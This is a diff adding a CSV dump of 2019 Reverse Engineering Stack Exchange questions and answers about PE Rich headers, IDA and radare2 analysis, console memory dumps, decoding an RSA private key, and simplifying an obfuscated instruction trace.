diff --git "a/stack_exchange/RE/RE Q&A 2019.csv" "b/stack_exchange/RE/RE Q&A 2019.csv" new file mode 100644--- /dev/null +++ "b/stack_exchange/RE/RE Q&A 2019.csv" @@ -0,0 +1,49974 @@ +Id,PostTypeId,AcceptedAnswerId,ParentId,CreationDate,DeletionDate,Score,ViewCount,Body,OwnerUserId,OwnerDisplayName,LastEditorUserId,LastEditorDisplayName,LastEditDate,LastActivityDate,Title,Tags,AnswerCount,CommentCount,FavoriteCount,ClosedDate,CommunityOwnedDate,ContentLicense +20253,1,20256,,1/1/2019 20:21,,0,115,"
In this analysis of a Portable Executable linked using Microsoft Linker (6.0), down in the Imported Objects section, the website makes some very specific claims:
+ +3 .OBJ Files (COFF) linked with LINK.EXE 5.12 (Visual Studio 5 SP2) (build: 9049)
+4 .OBJ Files (COFF) linked with LINK.EXE 6.00 (Visual Studio 6) (build: 8168)
+178 .C Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)
+26 .CPP Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)
+41 .ASM Files assembled with MASM 6.13 (Visual Studio 6 SP1) (build: 7299)
+12 .OBJ Files linked with ALIASOBJ.EXE 6.00 (Internal OLDNAMES.LIB Tool) (build: 7291)
+
+
+As far as I know, all debug information is stripped from the executable, and there certainly aren't 178 embedded ascii strings ending in "".C"".
+ +The sections in the PE are the usual .text, .rdata, .data, .rsrc.
+ +What type of additional information or metadata in the EXE could be used to make guesses about the original object files?
+",26932,,,,,1/2/2019 3:00,How to determine number and/or boundaries of linked object files in a PE generated by Visual Studio 6?,I am trying to reverse engineer / research a black box system, this is, a system for which there is no public information at all. Let's say the system is a modern handheld console.
+ +I have already gathered the followed information and data:
+ +So, I have the memory dumps. What would be an efficient approach?
+ +First I believe loading it with IDA (or r2) could be helpful. But I don't know how to set up a raw dump in IDA, do i have to load it manually? am i missing something?
+ +Secondly. The dump is not encrypted. I can find strings, references to strings of programs that run in the system, etc... I guess I can also find code (like .text sections in PC but whatever are called in this system) which I should be able to reverse. Is this theory right? if so, how to put it in practice? how can I find pieces of code? I have tried entropy, which seems to be quite useful; code tends to have high entropy. Technically speaking, how would I load that code in IDA properly?
+ +Everything is welcome
+ +EDIT: Run binwalk over the ram dumps. Pretty interesting: +https://gist.github.com/pedro-javierf/2476a1f4f0db72b785e414f77c273512
+",16407,,16407,,1/12/2019 22:14,1/12/2019 22:14,How to reverse engineer a Black Box?,According to this blog post, GikDbg seems like an Ollydbg mod to debug native Android libraries.
+ +Unfortunatly, the website of GikDbg doesn't exist anymore.
+",11890,,,,,1/1/2019 23:45,,,,0,,,,CC BY-SA 4.0 +20256,2,,20253,1/2/2019 3:00,,2,,"My guess is that the website is parsing the Rich Signature (see https://www.ntcore.com/files/richsign.htm for analysis and details). There is a shorter description here. Basically, Microsoft's linkers add some info that can be used to infer that information.
+",26921,,,,,1/2/2019 3:00,,,,2,,,,CC BY-SA 4.0 +20258,1,,,1/2/2019 7:37,,2,203,"++ +Why does -A (aaa) analysis show much more information, when using the -d (debug) CLI option in Radare2?
+
I'm using the newest version of Radare2 to analyze the Windows application.
+ +As can be seen below, using the -d (debug) option with -A (aaa) yields more information on the application, e.g. symbols. Why is that?
+ +Without the -d (debug) CLI option:
+ +$ r2 -A WindowsService.exe
+Metadata Signature: 0x8bc 0x10001424a5342 12
+.NET Version: v4.0.30319
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
+[x] Type matching analysis for all functions (afta)
+[x] Use -AA or aaaa to perform additional experimental analysis.
+ -- I didn't say that it was working, I said that it's implemented
+[0x00403e92]> afll
+address size nbbs edges cc cost min bound range max bound calls locals args xref frame name
+========== ==== ===== ===== ===== ==== ========== ===== ========== ===== ====== ==== ==== ===== ====
+0x00403e92 6 1 0 1 3 0x00403e92 6 0x00403e98 0 0 0 1 0 entry0
+
+
+With the -d (debug) CLI option:
+ +$ r2 -d -A WindowsService.exe
+Process with PID 21499 started...
+= attach 21499 21499
+bin.baddr 0x561296b89000
+Using 0x561296b89000
+asm.bits 64
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
+[TOFIX: afta can't run in debugger mode.ions (afta)
+[x] Type matching analysis for all functions (afta)
+[x] Use -AA or aaaa to perform additional experimental analysis.
+= attach 21499 21499
+21499
+ -- Use zoom.byte=entropy and press 'z' in visual mode to zoom out to see the entropy of the whole file
+[0x7fb177974090]> afll
+address size nbbs edges cc cost min bound range max bound calls locals args xref frame name
+================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====
+0x0000561296b89000 285 3 2 3 134 0x0000561296b89000 292 0x0000561296b89124 0 0 1 0 24 sym.imp.__libc_start_main
+0x0000561296b8d290 6 1 0 1 3 0x0000561296b8d290 6 0x0000561296b8d296 0 0 0 0 0 sym.imp.sigprocmask
+0x0000561296b8d2a0 6 1 0 1 3 0x0000561296b8d2a0 6 0x0000561296b8d2a6 0 0 0 0 0 sym.imp.raise
+0x0000561296b8d2b0 6 1 0 1 3 0x0000561296b8d2b0 6 0x0000561296b8d2b6 0 0 0 0 0 sym.imp.free
+0x0000561296b8d2c0 6 1 0 1 3 0x0000561296b8d2c0 6 0x0000561296b8d2c6 0 0 0 0 0 sym.imp.strcasecmp
+0x0000561296b8d2d0 6 1 0 1 3 0x0000561296b8d2d0 6 0x0000561296b8d2d6 0 0 0 0 0 sym.imp.abort
+0x0000561296b8d2e0 6 1 0 1 3 0x0000561296b8d2e0 6 0x0000561296b8d2e6 0 0 0 1 0 sym.imp.__errno_location
+0x0000561296b8d2f0 6 1 0 1 3 0x0000561296b8d2f0 6 0x0000561296b8d2f6 0 0 0 0 0 sym.imp._exit
+0x0000561296b8d300 6 1 0 1 3 0x0000561296b8d300 6 0x0000561296b8d306 0 0 0 0 0 sym.imp.strcpy
+0x0000561296b8d310 6 1 0 1 3 0x0000561296b8d310 6 0x0000561296b8d316 0 0 0 0 0 sym.imp.qsort
+0x0000561296b8d320 6 1 0 1 3 0x0000561296b8d320 6 0x0000561296b8d326 0 0 0 0 0 sym.imp.isatty
+0x0000561296b8d330 6 1 0 1 3 0x0000561296b8d330 6 0x0000561296b8d336 0 0 0 0 0 sym.imp.sigaction
+0x0000561296b8d340 6 1 0 1 3 0x0000561296b8d340 6 0x0000561296b8d346 0 0 0 0 0 sym.imp.strtod
+0x0000561296b8d350 6 1 0 1 3 0x0000561296b8d350 6 0x0000561296b8d356 0 0 0 0 0 sym.imp.strchrnul
+0x0000561296b8d360 6 1 0 1 3 0x0000561296b8d360 6 0x0000561296b8d366 0 0 0 0 0 sym.imp.faccessat
+0x0000561296b8d370 6 1 0 1 3 0x0000561296b8d370 6 0x0000561296b8d376 0 0 0 0 0 sym.imp.fcntl
+0x0000561296b8d380 6 1 0 1 3 0x0000561296b8d380 6 0x0000561296b8d386 0 0 0 0 0 sym.imp.write
+0x0000561296b8d390 6 1 0 1 3 0x0000561296b8d390 6 0x0000561296b8d396 0 0 0 1 0 sym.imp.getpid
+0x0000561296b8d3a0 6 1 0 1 3 0x0000561296b8d3a0 6 0x0000561296b8d3a6 0 0 0 0 0 sym.imp.__strtol_internal
+0x0000561296b8d3b0 6 1 0 1 3 0x0000561296b8d3b0 6 0x0000561296b8d3b6 0 0 0 0 0 sym.imp.__xstat64
+0x0000561296b8d3c0 6 1 0 1 3 0x0000561296b8d3c0 6 0x0000561296b8d3c6 0 0 0 0 0 sym.imp.wait3
+0x0000561296b8d3d0 6 1 0 1 3 0x0000561296b8d3d0 6 0x0000561296b8d3d6 0 0 0 0 0 sym.imp.opendir
+0x0000561296b8d3e0 6 1 0 1 3 0x0000561296b8d3e0 6 0x0000561296b8d3e6 0 0 0 0 0 sym.imp.stpcpy
+0x0000561296b8d3f0 6 1 0 1 3 0x0000561296b8d3f0 6 0x0000561296b8d3f6 0 0 0 0 0 sym.imp.strlen
+0x0000561296b8d400 6 1 0 1 3 0x0000561296b8d400 6 0x0000561296b8d406 0 0 0 0 0 sym.imp.chdir
+0x0000561296b8d410 6 1 0 1 3 0x0000561296b8d410 6 0x0000561296b8d416 0 0 0 0 0 sym.imp.__stack_chk_fail
+0x0000561296b8d420 6 1 0 1 3 0x0000561296b8d420 6 0x0000561296b8d426 0 0 0 1 0 sym.imp.getuid
+0x0000561296b8d430 6 1 0 1 3 0x0000561296b8d430 6 0x0000561296b8d436 0 0 0 0 0 sym.imp.dup2
+0x0000561296b8d440 6 1 0 1 3 0x0000561296b8d440 6 0x0000561296b8d446 0 0 0 0 0 sym.imp.strchr
+0x0000561296b8d450 6 1 0 1 3 0x0000561296b8d450 6 0x0000561296b8d456 0 0 0 0 0 sym.imp.warnx
+0x0000561296b8d460 6 1 0 1 3 0x0000561296b8d460 6 0x0000561296b8d466 0 0 0 0 0 sym.imp.__strtoul_internal
+0x0000561296b8d470 6 1 0 1 3 0x0000561296b8d470 6 0x0000561296b8d476 0 0 0 0 0 sym.imp.fnmatch
+0x0000561296b8d480 6 1 0 1 3 0x0000561296b8d480 6 0x0000561296b8d486 0 0 0 0 0 sym.imp.geteuid
+0x0000561296b8d490 6 1 0 1 3 0x0000561296b8d490 6 0x0000561296b8d496 0 0 0 0 0 sym.imp.getcwd
+0x0000561296b8d4a0 6 1 0 1 3 0x0000561296b8d4a0 6 0x0000561296b8d4a6 0 0 0 0 0 sym.imp.close
+0x0000561296b8d4b0 6 1 0 1 3 0x0000561296b8d4b0 6 0x0000561296b8d4b6 0 0 0 0 0 sym.imp.pipe
+0x0000561296b8d4c0 6 1 0 1 3 0x0000561296b8d4c0 6 0x0000561296b8d4c6 0 0 0 0 0 sym.imp.strspn
+0x0000561296b8d4d0 6 1 0 1 3 0x0000561296b8d4d0 6 0x0000561296b8d4d6 0 0 0 0 0 sym.imp.closedir
+0x0000561296b8d4e0 6 1 0 1 3 0x0000561296b8d4e0 6 0x0000561296b8d4e6 0 0 0 0 0 sym.imp.strcspn
+0x0000561296b8d4f0 6 1 0 1 3 0x0000561296b8d4f0 6 0x0000561296b8d4f6 0 0 0 0 0 sym.imp.read
+0x0000561296b8d500 6 1 0 1 3 0x0000561296b8d500 6 0x0000561296b8d506 0 0 0 1 0 sym.imp._setjmp
+0x0000561296b8d510 6 1 0 1 3 0x0000561296b8d510 6 0x0000561296b8d516 0 0 0 0 0 sym.imp.execve
+0x0000561296b8d520 6 1 0 1 3 0x0000561296b8d520 6 0x0000561296b8d526 0 0 0 0 0 sym.imp.__fxstat64
+0x0000561296b8d530 6 1 0 1 3 0x0000561296b8d530 6 0x0000561296b8d536 0 0 0 0 0 sym.imp.strcmp
+0x0000561296b8d540 6 1 0 1 3 0x0000561296b8d540 6 0x0000561296b8d546 0 0 0 0 0 sym.imp.signal
+0x0000561296b8d550 6 1 0 1 3 0x0000561296b8d550 6 0x0000561296b8d556 0 0 0 0 0 sym.imp.getpwnam
+0x0000561296b8d560 6 1 0 1 3 0x0000561296b8d560 6 0x0000561296b8d566 0 0 0 0 0 sym.imp.umask
+0x0000561296b8d570 6 1 0 1 3 0x0000561296b8d570 6 0x0000561296b8d576 0 0 0 0 0 sym.imp.strtol
+0x0000561296b8d580 6 1 0 1 3 0x0000561296b8d580 6 0x0000561296b8d586 0 0 0 0 0 sym.imp.sigfillset
+0x0000561296b8d590 6 1 0 1 3 0x0000561296b8d590 6 0x0000561296b8d596 0 0 0 0 0 sym.imp.memcpy
+0x0000561296b8d5a0 6 1 0 1 3 0x0000561296b8d5a0 6 0x0000561296b8d5a6 0 0 0 0 0 sym.imp.kill
+0x0000561296b8d5b0 6 1 0 1 3 0x0000561296b8d5b0 6 0x0000561296b8d5b6 0 0 0 1 0 sym.imp.getgid
+0x0000561296b8d5c0 6 1 0 1 3 0x0000561296b8d5c0 6 0x0000561296b8d5c6 0 0 0 0 0 sym.imp.tcgetpgrp
+0x0000561296b8d5d0 6 1 0 1 3 0x0000561296b8d5d0 6 0x0000561296b8d5d6 0 0 0 0 0 sym.imp.__xstat
+0x0000561296b8d5e0 6 1 0 1 3 0x0000561296b8d5e0 6 0x0000561296b8d5e6 0 0 0 0 0 sym.imp.readdir
+0x0000561296b8d5f0 6 1 0 1 3 0x0000561296b8d5f0 6 0x0000561296b8d5f6 0 0 0 0 0 sym.imp.malloc
+0x0000561296b8d600 6 1 0 1 3 0x0000561296b8d600 6 0x0000561296b8d606 0 0 0 0 0 sym.imp.killpg
+0x0000561296b8d610 6 1 0 1 3 0x0000561296b8d610 6 0x0000561296b8d616 0 0 0 0 0 sym.imp.getegid
+0x0000561296b8d620 6 1 0 1 3 0x0000561296b8d620 6 0x0000561296b8d626 0 0 0 0 0 sym.imp.strpbrk
+0x0000561296b8d630 6 1 0 1 3 0x0000561296b8d630 6 0x0000561296b8d636 0 0 0 0 0 sym.imp.sigsuspend
+0x0000561296b8d640 6 1 0 1 3 0x0000561296b8d640 6 0x0000561296b8d646 0 0 0 0 0 sym.imp.__vsnprintf_chk
+0x0000561296b8d650 6 1 0 1 3 0x0000561296b8d650 6 0x0000561296b8d656 0 0 0 0 0 sym.imp.setrlimit
+0x0000561296b8d660 6 1 0 1 3 0x0000561296b8d660 6 0x0000561296b8d666 0 0 0 0 0 sym.imp.strsignal
+0x0000561296b8d670 6 1 0 1 3 0x0000561296b8d670 6 0x0000561296b8d676 0 0 0 0 0 sym.imp.realloc
+0x0000561296b8d680 6 1 0 1 3 0x0000561296b8d680 6 0x0000561296b8d686 0 0 0 0 0 sym.imp.sigsetmask
+0x0000561296b8d690 6 1 0 1 3 0x0000561296b8d690 6 0x0000561296b8d696 0 0 0 0 0 sym.imp.__longjmp_chk
+0x0000561296b8d6a0 6 1 0 1 3 0x0000561296b8d6a0 6 0x0000561296b8d6a6 0 0 0 0 0 sym.imp.open64
+0x0000561296b8d6b0 6 1 0 1 3 0x0000561296b8d6b0 6 0x0000561296b8d6b6 0 0 0 0 0 sym.imp.mempcpy
+0x0000561296b8d6c0 6 1 0 1 3 0x0000561296b8d6c0 6 0x0000561296b8d6c6 0 0 0 0 0 sym.imp.memmove
+0x0000561296b8d6d0 6 1 0 1 3 0x0000561296b8d6d0 6 0x0000561296b8d6d6 0 0 0 0 0 sym.imp.setgid
+0x0000561296b8d6e0 6 1 0 1 3 0x0000561296b8d6e0 6 0x0000561296b8d6e6 0 0 0 0 0 sym.imp.getpgrp
+0x0000561296b8d6f0 6 1 0 1 3 0x0000561296b8d6f0 6 0x0000561296b8d6f6 0 0 0 0 0 sym.imp.tcsetpgrp
+0x0000561296b8d700 6 1 0 1 3 0x0000561296b8d700 6 0x0000561296b8d706 0 0 0 0 0 sym.imp.open
+0x0000561296b8d710 6 1 0 1 3 0x0000561296b8d710 6 0x0000561296b8d716 0 0 0 0 0 sym.imp.times
+0x0000561296b8d720 6 1 0 1 3 0x0000561296b8d720 6 0x0000561296b8d726 0 0 0 0 0 sym.imp.strtok
+0x0000561296b8d730 6 1 0 1 3 0x0000561296b8d730 6 0x0000561296b8d736 0 0 0 0 0 sym.imp.sysconf
+0x0000561296b8d740 6 1 0 1 3 0x0000561296b8d740 6 0x0000561296b8d746 0 0 0 0 0 sym.imp.__lxstat64
+0x0000561296b8d750 6 1 0 1 3 0x0000561296b8d750 6 0x0000561296b8d756 0 0 0 0 0 sym.imp.setpgid
+0x0000561296b8d760 6 1 0 1 3 0x0000561296b8d760 6 0x0000561296b8d766 0 0 0 0 0 sym.imp.getppid
+0x0000561296b8d770 6 1 0 1 3 0x0000561296b8d770 6 0x0000561296b8d776 0 0 0 0 0 sym.imp.getrlimit
+0x0000561296b8d780 6 1 0 1 3 0x0000561296b8d780 6 0x0000561296b8d786 0 0 0 0 0 sym.imp.setuid
+0x0000561296b8d790 6 1 0 1 3 0x0000561296b8d790 6 0x0000561296b8d796 0 0 0 0 0 sym.imp.strdup
+0x0000561296b8d7a0 6 1 0 1 3 0x0000561296b8d7a0 6 0x0000561296b8d7a6 0 0 0 0 0 sym.imp.strerror
+0x0000561296b8d7b0 6 1 0 1 3 0x0000561296b8d7b0 6 0x0000561296b8d7b6 0 0 0 0 0 sym.imp.fork
+0x0000561296b8d7c0 6 1 0 1 3 0x0000561296b8d7c0 6 0x0000561296b8d7c6 0 0 0 0 0 sym.imp.__ctype_b_loc
+0x0000561296b8d7d0 6 1 0 1 3 0x0000561296b8d7d0 6 0x0000561296b8d7d6 0 0 0 1 0 sub.__cxa_finalize_7d0
+0x0000561296b8d850 455 25 42 17 155 0x0000561296b8d850 455 0x0000561296b8da17 20 6 2 1 280 main
+0x0000561296b8da20 43 1 0 1 17 0x0000561296b8da20 43 0x0000561296b8da4b 1 0 1 0 8 entry0
+0x0000561296b8da50 40 4 4 4 19 0x0000561296b8da50 50 0x0000561296b8da82 0 0 0 1 8 sub.__environ_32_a50
+0x0000561296b8da90 57 4 4 4 24 0x0000561296b8da90 66 0x0000561296b8dad2 0 0 0 1 8 loc.561296b8da90
+0x0000561296b8dae0 51 5 5 4 24 0x0000561296b8dae0 58 0x0000561296b8db1a 2 0 0 0 0 entry2.fini
+0x0000561296b8db20 124 5 5 4 30 0x0000561296b8da90 10 0x0000561296b8db2a 0 0 0 0 8 entry1.init
+0x0000561296da5fd8 72 1 0 1 33 0x0000561296da5fd8 72 0x0000561296da6020 0 0 0 1 0 reloc.__libc_start_main
+
+",25753,,,,,1/6/2019 20:08,"Why does -A (aaa) analysis show much more information, when using the -d (debug) CLI option in Radare2?",From here the structure of a private key looks like
+ +RSAPrivateKey ::= SEQUENCE {
+ version Version,
+ modulus INTEGER, -- n
+ publicExponent INTEGER, -- e
+ privateExponent INTEGER, -- d
+ prime1 INTEGER, -- p
+ prime2 INTEGER, -- q
+ exponent1 INTEGER, -- d mod (p-1)
+ exponent2 INTEGER, -- d mod (q-1)
+ coefficient INTEGER, -- (inverse of q) mod p
+ otherPrimeInfos OtherPrimeInfos OPTIONAL
+}
+
+
+If analyzed the base64 data in the ASN.1 decoder
+ +SEQUENCE (9 elem)
+ INTEGER 0
+ INTEGER (2048 bit) 226871413225308095515915826394392101638242887434378121570998515897193…
+ INTEGER 65537
+ INTEGER (2048 bit) 194320763995749647278490303169550120288709068819771754524412632427072…
+ INTEGER (1024 bit) 134355954175703308272730070638862721054431606752282500957493356998331…
+ INTEGER (1024 bit) 168858473461189648019451140006978906971949575614563598413430805554687…
+ INTEGER (1023 bit) 501346546129182660757986157052258700182511397092797741873369248728839…
+ INTEGER (1023 bit) 467538315673092658034539326878959861744205105375874857990160580678909…
+ INTEGER (1024 bit) 994358373821297873423986022178929159513641342137481304248109111567867…
+
+
+All the values n,e(65537), d, p, q, exponent1, exponent2 and coefficient are present with probably proper lengths. +So this is a private key. As already mentioned in other answer, see how you can load this in python
+ +In [1] from Crypto.PublicKey import RSA
+ from Crypto.Util.number import long_to_bytes, bytes_to_long
+
+ k_raw = ""MIIEpAIBAAKCAQEAs7d+tTj2F6hEHNzx+xM8HnMVaJTx4ElALVw8p8dLacao6BkT3Prq7j5GvuBZNO0hwjrcmJcpwYm/eR2nW1lu9BoyWTggU5nsDKOs7qkCOPNYm1uEJ/i654uAHmXQCk/dSQW/xlCnnVlgNLPcIP2JQgKp9xh5nXQuffXe/eVT46uOlS4PMEf3P+HhyMqKZlNs8vB0ag9gfebboKjjVw74PANCCpGalQpaAHWXvy9crI0JbzyssMoiinNQDdK9CEUe/7erAMB9kvImB6dAo5RQaghasPtWJ6IOb78SKpqzae4vthyYNiDYSKcrFgR/JlRoNprESem08HNhr44QGd99VwIDAQABAoIBAQCZ7oOjKaTv4npk1oKVcYY+9ofRyjHa0CMeNzDk7HkVoskt87zlvC3Z3pGuEG+YO7x8pvon4OItGZVdYh7kyZeVkZKqhL57nQ1oThFjYnO64AR3HU33Br7gcMZOQxqMmpeJYlk+vfqzdchHm/7iawdT+QAn21jfmpHv5dcYVYMjL27auk0sbHl/8Xfu1+buZCStw6+DUuYRNCZVIvChM0dhhFIx5nCLYwyvDKJKd/WXs+wuA4FyAX9msedsHNmdK1pqKfqrm6QqiexEsf8g7mBvnn+VVr2adOXBuD2HMX8gCMp3kLTwIYKS9ITKQKPD1kxUFjS7zJA/HCysWXGm+VfxAoGBAL9USGVp4v93pPrU6X79AEiXix0tXntCIcPe8q1soEJ69Cu/WSzyQ5BI2Q7/JIgQ6/b69nhRxLHH3WRvU3Lm6etGNg9zfO26LMC1oojO789Ajldug1LJkMJHCjYwhTKLSnZzLDklGha6fTfgrBS87IeQgSFLvbVDrOyzGn0+Zw+FAoGBAPB2Yv7oSi4F5pl6KN+su8FgQXZAyyhdIjYmtlbg5sIjCdWt7ziIs4rRcgF9RnRT7lPoMeKod/eDaqGlwZ50QxQtXB3K/AkqL1w5UUWO4MnPoVP47v4iuU5RYI6YvVs2CaPJ+HDwngjHgw33Sdlr8O3tYz+xMY2gg78qRA/sSPorAoGAR2Tk6urbKKb1qh+ezaMM4wmhgI64bdgcj2F3Pt2E46nLyTNKzGnOal20mVL9x8RAuNWm+PjSI+DHrT2ZbwvZh9CYRaW7nV3Wa0ab0t8dP0IAm4GCgXbzjHtDxTrPyS+O5qpNezlsBcUrCpnMvKROwrtaZBlGPgh105F1tfx+Kp0CgYBClGUAs4ymhZe98ycSF5+9AUve1D3sJS1t1PYzw/3gzxbQBWLxQliEHU31v5wcZYjdzrLRUVg2PjruGxkrKIHSOmUBEs0KNJX8cRphqhfviP/gYlK6Jx8r4jhcA0qa0LGGmkuh6d24DJXq7geSneKN3mbWoddYoZMZATjrN79VFQKBgQCNmfDwvv+o+tI3VA7XAZnefG2TJFBRdBFeQQMZV+wpmQF+ixx9X5iJpi/njh1TLcXvQfppTkmspdUph9j3D5ZBNQbkcU4RAG287DwxjWIR3n+FSLSzer7dKy+Ws2ew68/QFmxlgqZgzp95t074O7C7yHYE/e/Dsr/LEhWy+codNQ==""
+
+ k = RSA.importKey(""-----BEGIN RSA PRIVATE KEY-----\n%s\n-----END RSA PRIVATE KEY-----\n"" % k_raw)
+ ciphertext = ""4c0605e901b09d75c5f5befe7438d7246f988531cc7a39a59f24b9488d47dfae9fc8beb5117f34a316f9380607bf239ba6eca84da47a12d720986a8a0100a7e9d7028d7e423557055b9e250f271d6436018c58e79a8f26bac10768776f06dc1786dd7428b3c445b8993e884630b36cb2d300fa5dc1fe0eba9e433062d9d8a58f33bf6f93aa37298a5703ccbf71c93adea447f018e9f75bb43dbc528cfc9bed865a9ba43f926071dabc89ccca2e000f1a966855cc9816e45c0113edb55a700198d346a90487b5ff1191994973eb1b5252b22c6410aa70ea4e9c3ebd468ef273d7cf9d15b5824244cd25f252886d1edfe2d6f2caa5d5e00fd84597e3de192db41b"".decode('hex')
+
+
+Now decryption is simply a pow
operation
print long_to_bytes(pow(bytes_to_long(ciphertext), k.d, k.n))
+
+gFmqI4XpJBjprHFWrVqkaQ==
+
+",14622,,,,,1/2/2019 8:25,,,,0,,,,CC BY-SA 4.0
+20262,1,20263,,1/2/2019 12:20,,2,932,"I am trying to learn how to use IDA Pro 6.8 to analyze binaries. However, there are much more functions in ida function list than my code. For example, there is a function in source code that calls four callee functions, two global functions and two public function of a class. But, in ida, it has more than ten callees, if I print the line.points.size()
. It is recognized as a function in ida. line is my class, points is a vector variable of line. The function in ida is named std::vector<std::vector<Point *,std::allocator<Point *>>,std::allocator<std::vector<Point *,std::allocator<Point *>>>>::size(void)
. So it caused that the number of callee is not equal to the number in source. Why are there so much more functions that are not defined as function in my source? How can I recognize which function in ida is the function I define and which one is added by ida?
You just discovered why templates are accused of code bloat.
+ +That function is not added by IDA but instead by the compiler when it expanded the templated class std::vector<std::vector<Point*>>
and generated all its member functions. Every std::vector with a different template parameter is considered a separate type. So std::vector<int>::size()
and std::vector<float>::size()
are separate functions however a sufficiently smart compiler/linker with high enough optimization settings will see that the code of the two is the exact same and be able to combine them.
When analysing mach-o binaries IDA seems to interpret const/literal part of x86 mov instruction(0x8B) as an offset.
+ +Hex rerpresentation: 8B 40 0A
Correct assembly: mov eax,DWORD PTR [eax+0x0A] ; 8B 40 0A
IDA assembly:mov eax, dword ptr ds:(loc_1DF4B8 + 3 - 1DF4B1h)[eax]
loc_1DF4B8 + 3 - 1DF4B1 = 0x0A
so its basicaly the same but the offset part throws of further analysis on the binary.
Is there any option i'm missing to prevent this from happening or any scriptable way to fix it?
+ +EDIT: individual instructions can be fixed with s #
shortcut
it seems this is due to the heuristic applied by IDA. Could you tell us how eax
is initialized?
+Regarding your issue, and if IDA is wrong every times, I think your answer is on the IDA options:
+
But I didn't test it.
+",26176,,,,,1/2/2019 21:55,,,,1,,,,CC BY-SA 4.0 +20266,2,,20254,1/2/2019 22:10,,2,,"First I believe loading it with IDA (or r2) could be helpful. But I don't know how to set up a raw dump in IDA, do i have to load it manually? am i missing something?
IDA directly handles raw image, all you have to do is specify the ARM little-endian [ARM]
in the processor type.
+Once it's loaded, your first challenge is to identify the memory layout.
Secondly. The dump is not encrypted. I can find strings, references to programs that run in the system, etc... I guess I can also find code (like .text sections in PC but whatever are called in this system) which I should be able to reverse. Is this theory right? if so, how to put it in practice? how can I find pieces of code? I have tried entropy, which seems to be quite useful; code tends to have high entropy. Technically speaking, how would I load that code in IDA properly?
The information requires is to know what kind of dump do you have, if you dump memory from a vulnerability, or from a JTAG, or whatever. The layout might be different.
+ +Few examples:
+ +Hopefully you can provide further information about the target, that's sound interesting. :)
+",26176,,,,,1/2/2019 22:10,,,,7,,,,CC BY-SA 4.0 +20268,2,,20245,1/2/2019 23:32,,2,,"Interesting topic.
+ +The first thing I do to simplify obfuscation, is to determine if the obfuscator works in assembly or IR level. +In assembly level, you usually have a finer granularity and tricky instructions, where in an IR level you find better looking functions and standard instructions from a compiler.
+ +This case should be on assembly language level, because there are lot of useless stack displacement and assignment, I suggest to start to simplify it. I manually did that, it's a way to figure out the pattern (if possible) and then automatize the process:
+ +esp=0255ff78 jmp 0040aeb1
+esp=0255ff78 pushfd ;; 0255ff74 = flags
+esp=0255ff74 mov dword ptr [esp],580B8317h ;; 0255ff74 = 0x580B8317
+esp=0255ff74 jmp 0040892d
+esp=0255ff74 mov byte ptr [esp],dl ;; 0255ff74 = 0x580B8300
+esp=0255ff74 mov dword ptr [esp],1B2F9632h ;; 0255ff74 = 0x1B2F9632
+esp=0255ff74 jmp 0040e0cf
+esp=0255ff74 pushfd ;; 0255ff70 = flags
+esp=0255ff70 pushad ;; 0255ff6c = eax = ffff8001
+ ;; 0255ff68 = ecx = 77781e4c
+ ;; 0255ff64 = edx = 00000000
+ ;; 0255ff60 = ebx = 001603b6
+ ;; 0255ff5c = esp = 0255ff70
+ ;; 0255ff58 = ebp = 0255ff80
+ ;; 0255ff54 = esi = 00401233
+ ;; 0255ff50 = edi = 00401233
+
+esp=0255ff50 call 00408cfb ;; 0255ff4c = 0040e0d1 + 5 = 0x40e0d6
+esp=0255ff4c mov dword ptr [esp+24h],7ECAB5C8h ;; 0255ff70 = 0x7ECAB5C8
+esp=0255ff4c mov byte ptr [esp],88h ;; 0255ff4c = (0x40e0d6 & 0xffffff00) | 0x88 = 0x40e088
+esp=0255ff4c push 4EE1A112h ;; 0255ff48 = 0x4EE1A112
+esp=0255ff48 push eax ;; 0255ff44 = ffff8001
+esp=0255ff44 lea esp,[esp+2Ch] ;; esp = 0255ff70
+esp=0255ff70 jmp 00406089
+
+
+I agree with you about the two push
instructions. Between the beginning and the end, the stack was decremented of 4 + 4, and the assignment at these offsets give the value of the push
.
+It doesn't mean these values will be eventually used, though.
++ +I was trying to convert these functions to LLVM IR and then optimize + it but all of known to me tools weren't able to do that. As far as I + remember only llvm-mctoll was generating suitable IR (but it was + failing in most cases, probably because of lack of supported + instructions), other generated a lot of useless junk code and after + optimization it looked even worse.
+
The main issue is how an instruction is actually converted to the IR and how it'll react with the compiler's passes. Some obfuscations could be optimized by a compiler, others don't.
+An example is, how a compiler is supposed to interact with the pushf
or pushad
instruction? If you can remap the stack usage as alloca
, you could easily remove useless access. If esp
access is viewed as a non-volatile write on memory, the compiler will have to keep it every time.
+Compilers are better to perform well-known optimization like constant propagation.
++ +Other tools like Miasm or Angr optimized only IR, and that's not what + I'm looking for.
+
What's the problem with the IR?
+ +++ +How am I supposed to do that? Optimizing it by hand is pretty easy but + it's time consuming (it has about 4k asm instructions).
+
I recommend a tool which works on the IR level and you define your own optimization. If you can simplify the stack usage and useless jmp
/ call
, you will get a better view of the original code.
++ +Does any tools that might help with such kind of optimising exists?
+
Yes, but I think you already know them. +In case of: triton and medusa (disclaimer: I'm the author of the latter, and it's kinda broken at the moment)
+ +++ +Where is the problem with creating them?
+
Most of these tools work with an IR, the first issue is to convert assembly code to an IR language to work with. +The next step is to implement simplification passes (like a compiler). +The final step is to construct expression by executing symbolically the code, the complexity grows very quickly and you end with poor performances / memory exhaustion. +Usually, you have to simplify these expressions manually by concreting some inputs and applying optimizations.
+ +++ +As far as I understand theory it's quite easy, especially that I'm + not analysing binary but trace so I don't have to care about proper + flow paths, disassembling etc.
+
Analyzing a trace is usually easier, but there's a catch. +Storing the trace could be very heavy, the overhead could be excessive, you can't easily build expressions from the trace, ... +If you want to stay with a trace, I think you should probably write a custom tool which parse the code and optimize it. For instance: for each assignment on the stack, keep the exact address and value. At the end of each piece of code (e.g. call to a imported function, address is already executed, ...) you can remove useless write on the stack. +I can't guarantee it'll work on this case. :)
+ +BTW, can you share the executable?
